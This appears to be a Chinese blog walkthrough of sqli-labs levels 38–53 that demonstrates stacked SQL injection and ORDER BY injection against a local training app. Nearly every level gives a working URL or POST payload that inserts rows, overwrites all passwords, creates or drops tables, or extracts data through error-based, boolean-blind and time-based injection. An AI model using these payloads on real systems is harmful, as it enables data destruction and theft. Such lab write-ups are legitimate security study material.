Stacked Injections
文章目录
less-38

由于在这里使用了执行一个或多个sql语句的函数mysqli_multi_query。
所以可以尝试堆叠注入,堆叠注入就是执行多条SQL语句,通过;分割;在实战中,由于正常数据库只会回显出我们想要的结果,所以,堆叠注入在黑盒测试下只能通过模糊测试来进行测试。由于是直接执行多条SQL语句,所以对SQL语句就并无限制,可以通过堆叠注入增删改查等数据库操作。
我们在知道数据库结构后尝试进行插入数据操作
http://127.0.0.1/sql-labs/Less-38/?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+
插入后,我们直接切换到id 20,看看是否插入成功


当然我们还可以执行任何SQL语句,这也说明了堆叠注入危害极大。
less-39

和38一样,堆叠注入,只不过将id参数包裹引号去掉罢了。
http://127.0.0.1/sql-labs/Less-39/?id=1;insert into users(id,username,password)values(19,'allblue','2019')--+

less-40

不多说
http://127.0.0.1/sql-labs/Less-40/?id=1');insert into users(id,username,password)values(18,'hacker','2018')--+


less-41

还是整数型堆叠注入

http://127.0.0.1/sql-labs/Less-41/?id=1;update users set password='hacker'
where id>0--+
将所有密码都改成了hacker
less-42

基于24关卡新增post的堆叠:
login_user=admin&login_password=1';create table keepb1ue like users#
创建一个和users同样结构的数据库

less-43
post 闭合’)
login_user=King&login_password=123');insert into users(id,username,password)values(22,'test22','test22')#


less-44

与43比较,只是闭合方式改了和去掉了一个打印报错信息的语句。
那如果在实战中没有报错信息那就只能去fuzz了
login_user=King&login_password=123';drop table keepb1ue#


less-45

mysqli_muti_query,还是闭合 ')堆叠
login_user=King&login_password=123');insert into
users(id,username,password)values(23,'KB','KB')#
less-46
order by注入

我们可以通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入


证明的确有order by 注入
order by注入有很多种方式进行注入
比如:报错注入、盲注、异或注入。如果达到一定条件还可以联合注入
报错注入很简单:
http://127.0.0.1/sql-labs/Less-46/?sort=1 and
updatexml(1,concat(0x7e,(select database())),1)

盲注:
http://127.0.0.1/sql-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
根据rand来对SQL语句对错做判断,因为rand(True)和rand(False)的回显结果是不一样的。
less-47

还是闭合不同
http://127.0.0.1/sql-labs/Less-47/?sort=1' and
updatexml(1,concat(0x7e,(select database())),1) --+
http://127.0.0.1/sql-labs/Less-47/?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

less-48

本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sql-labs/Less-48/?sort=rand(ascii(left(database(),1))=150)

http://127.0.0.1/sql-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)

根据rand(true)和rand(fales)的回显不一样做判断,进行布尔盲注
延时:
http://127.0.0.1/sql-labs/Less-48/?sort=1 and (If(ascii(substr(database(),1,1))=115,sleep(5),1))
less-49

与less47很类似,只是没有错误回显
利用延时注入
http://127.0.0.1/sql-labs/Less-49/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
less-50

order by+堆叠注入
http://127.0.0.1/sql/Less-50/?sort=1;create table keepblue like users--+
less-51

和上一关一样,闭合变成’:
http://127.0.0.1/sql/Less-51/?sort=1';drop table keepb1ue--+
less-52

去掉了闭合,去掉了错误提示
http://127.0.0.1/sql/Less-52/?sort=1;create table keepb1ue like users--+
less-53

和51一样的做法,不多做讲解
http://127.0.0.1/sql/Less-53/?sort=1';drop table keepb1ue--+
1064

被折叠的 条评论
为什么被折叠?



